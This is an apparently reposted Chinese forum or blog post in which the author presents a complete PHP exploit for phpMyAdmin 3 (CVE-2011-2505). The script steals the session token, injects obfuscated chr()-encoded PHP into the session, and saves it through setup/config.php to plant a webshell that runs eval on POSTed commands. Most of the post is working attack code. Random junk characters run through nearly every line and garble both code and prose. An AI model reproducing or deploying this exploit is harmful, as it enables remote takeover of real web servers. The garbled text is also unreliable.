最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
a# \* I, O! N1 v1 ~* b+ ~! }0 c V9 x5 K, r5 E' _- [
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
6 j2 S$ J9 ~! \+ }: J4 e S, |7 ~& o
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:9 k' g: @8 f6 d( c2 B/ j* F3 D
一是session.auto_start = 1;1 P7 o0 C/ x0 v1 k! A" h" Y
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。: M( g- V# |0 J7 F4 M5 H+ I
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
6 k6 o+ C" k! c* r" R1 m* a
, B1 W8 p- |5 v1 P" y在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。5 N h) } t T( B3 e: d
/ f8 j# v: y: p1 q* {于是写了这个php版本的exp,代码如下:
5 W2 ^# m$ \5 a# X! f7 p
# e: {! J7 P" L# T3 W+ x#!/usr/bin/php2 h; G) \/ Z- p8 |- m) J6 C
<?php, z% _& ^1 F3 I
print_r('% q k% g$ l& v9 l9 Q' z
+---------------------------------------------------------------------------+4 i* H3 l" M+ K
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
" `# v, e$ d9 }& [by oldjun(www.oldjun.com)
/ h4 }. G5 F0 C: u! M6 Ewelcome to www.t00ls.net
$ `6 F: C% _5 Y: U' q* s8 C; Qmail: oldjun@gmail.com
1 j# B* p/ W: z+ MAssigned CVE id: CVE-2011-2505# P1 t: f: C! E
+---------------------------------------------------------------------------+. {# S9 O, p# M; u) s( s2 s4 c* h3 E
');/ K: g. u% r V5 i5 P& D0 G
$ O; [9 `. [# H) o/ R9 ?# ~; [
/**- g( S" o9 o9 C2 s
* working when the directory:"config" exists and is writeable.
. L- M: d6 x& h2 x**/: @; Q& w; g5 R! o. r( f) l- m
- W9 Z' g- C7 {6 q8 cif ($argc < 3) {( x4 N9 I9 W" P4 i
print_r('' c- Q* b% ^6 Z' r" { Q
+---------------------------------------------------------------------------+2 V1 H2 J# m' P4 ~ F e7 |
Usage: php '.$argv[0].' host path& @+ X+ x2 O# L8 s3 x- K
host: target server (ip/hostname)
5 _3 u6 Z) {7 t" H$ epath: path to pma3
5 `7 m' u* x) H! C: l" l) o NExample:$ k6 Q0 I: A6 v _' S
php '.$argv[0].' localhost /pma/
: l. I2 N( j( d* b& P+---------------------------------------------------------------------------+
l# W8 A% a# K');
! @6 A4 I% a; M2 m# g exit;
; C7 J7 K. {9 e}
- V. H+ d, z0 e
( l. V- Q8 R d) w8 d* h$host = $argv[1];
& W+ F, `1 n8 `4 f7 q) Z. ^$ _) m$path = $argv[2];
/ Q H2 P9 M) U6 {) ]6 N9 y! D- R5 D9 k6 e
/**# c5 Q; {* ?' Y4 m
* Try to determine if the directory:"config" exists# f: z; u' j& X* U9 B, I
**/. P) r4 ~! o4 z% N
echo "[+] Try to determine if the directory:config exists....\n";
* V- \$ p; O& y8 _0 U0 R$returnstr=php_request('config/');) j) e+ v9 H9 }' V/ g
if(strpos($returnstr,'404')){
2 t" w3 \5 g. r: I6 P# I& R' P exit("[-] Exploit Failed! The directory:config do not exists!\n");
' H9 n( H$ ^ G; F" {5 d}
& V F- @- {! k, ~; Y8 V( B
3 \. ^ y: [$ i5 U1 h6 `. t& P1 j/**
; m0 _/ V5 }6 B: R * Try to get token and sessionid3 K3 \0 ~% J1 d7 P/ W: m
**/
' Y3 p, ` \* ?4 [$ Lecho "[+] Try to get token and sessionid....\n";( h7 F, d3 o* o+ q* N
$result=php_request('index.php');) ], o5 @6 U- `) Q2 Q4 ]
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);6 z6 K0 M# A8 r1 E+ Q; q: @- Z
$token=$resp[3];0 D( Z2 y0 Q0 |, Z! ^( ?6 y
$sessionid=$resp[1];4 ]9 C# ?1 y0 |, d: |/ E# _
if($token && $sessionid){
" e3 y7 K' v' E4 n* ^ echo "[+] token token\n";8 D K8 j2 Q% }5 `" z
echo "[+] Session ID sessionid\n";* c4 \. Q0 [5 k: X/ A
}else{% E1 l2 i( _1 ~
exit("[-] Can't get token and Session ID,Exploit Failed!\n");: x7 X; p% ~: O
}
0 U* d# l- z1 A6 w# b# W1 P% t
% N3 D6 c( A6 q+ o) e' f5 l/**
; Y6 a% L8 e4 Y. j * Try to insert shell into session
3 F* t% y9 T! }' N4 y+ P**/0 q! D, Q$ `9 X
echo "[+] Try to insert shell into session....\n";
& Z F% \8 ^( r0 X5 [+ ?5 r3 gphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.+ d' V. @ y! [9 @
4 ~5 R3 A% C' e* v/**
9 t9 |7 V% P' B0 {2 f% t/ ] * Try to create webshell/ w) g' b! B& X+ M( J/ V
**/
% E- K2 i, {% \; K4 l- W. Y2 gecho "[+] Try to create webshell....\n";
: W3 ]/ m- r9 x/ I7 d8 E2 uphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);' T! x1 X- J2 w+ t$ q! _/ [
/**
1 M, y. L# H1 ]. e l# H" t; U * Try to check if the webshell was created successfully
9 G' U$ P B; x/ `' v- f( V**/
: S" p# a2 T3 Necho "[+] Try to check if the webshell was created successfully....\n";
. E. }9 i: L/ r4 i) D1 N$content=php_request('config/config.inc.php');
1 I/ v$ M |' G, J/ ~ _. rif(strpos($content,'t00ls')){* A0 t+ q/ C# i8 a8 v8 U
echo "[+] Congratulations! Expoilt successfully....\n";* W/ v0 [5 t5 t! a% r. o5 L" i
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
$ @: e [! k+ b+ ^}else{: n. E2 e+ m* Q
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
3 W2 X! u) I4 B1 N' S' R}, k' {( Q- U; p7 k7 z, G) I
% x/ t/ l- y$ s; v& L2 {
function php_request($url,$data='',$cookie=''){1 i% O1 s+ [. P4 w/ W5 r5 C
global $host, $path;' F# j; j: \/ a8 v! _% C7 j
; B$ a7 O0 y8 M8 |5 h$ v $method=$data?'POST':'GET';
% c4 M8 H1 W5 U9 R/ R! J* a' o" ~
; ^0 {7 G5 T5 }7 E2 Y* R $packet = $method." ".$path.$url." HTTP/1.1\r\n";# E% o6 \' e- j1 i2 B9 N* H
$packet .= "Accept: */*\r\n";, Y! Z' O8 o% y0 c# H4 ~( G
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";+ S; F; [% Y% j; H
$packet .= "Host: $host\r\n";( p' c L1 }$ E. E/ W
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";8 l1 u+ U& ]( p2 T8 I* y. l5 \5 v
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
( l0 m6 x, G O, d; ]9 A4 Z& p0 C: I $packet .= $cookie?"Cookie: $cookie\r\n":"";& f4 j# o, l- Y( [4 r
$packet .= "Connection: Close\r\n\r\n";
5 ?3 D3 v7 m) _/ ^ W1 s# u% l $packet .= $data?$data:"";
, B$ b9 C; V2 r# K6 e/ R5 s- l# w6 `3 G8 \6 N% y1 [/ f
$fp = fsockopen(gethostbyname($host), 80);) F7 d% ]6 U! ~) `" C7 c. t, h, h
if (!$fp) {
8 I; ]: L8 |- ]# P, H echo 'No response from '.$host; die;
6 s# J# S6 o5 A; v }
* o2 O- C( N9 J fputs($fp, $packet);9 E; }# y/ R9 p8 @' W- d
% U: w, n! t) w& ? $resp = '';! |; q" l% m- r* q
3 ~; [$ c. M, t- y$ b; Q; E
while ($fp && !feof($fp))
6 i. b) o6 t6 D: Y& B& H! m8 M $resp .= fread($fp, 1024);
. T9 y% _* x! z$ H
- M3 j1 h( W# K+ W% D8 { return $resp;. j9 e' H) L" p. o* g% o: t
}
, V- y* g, Z, _3 z. n / r9 R: _" \: U
?>
* \) M) ^8 ?: t, Q. |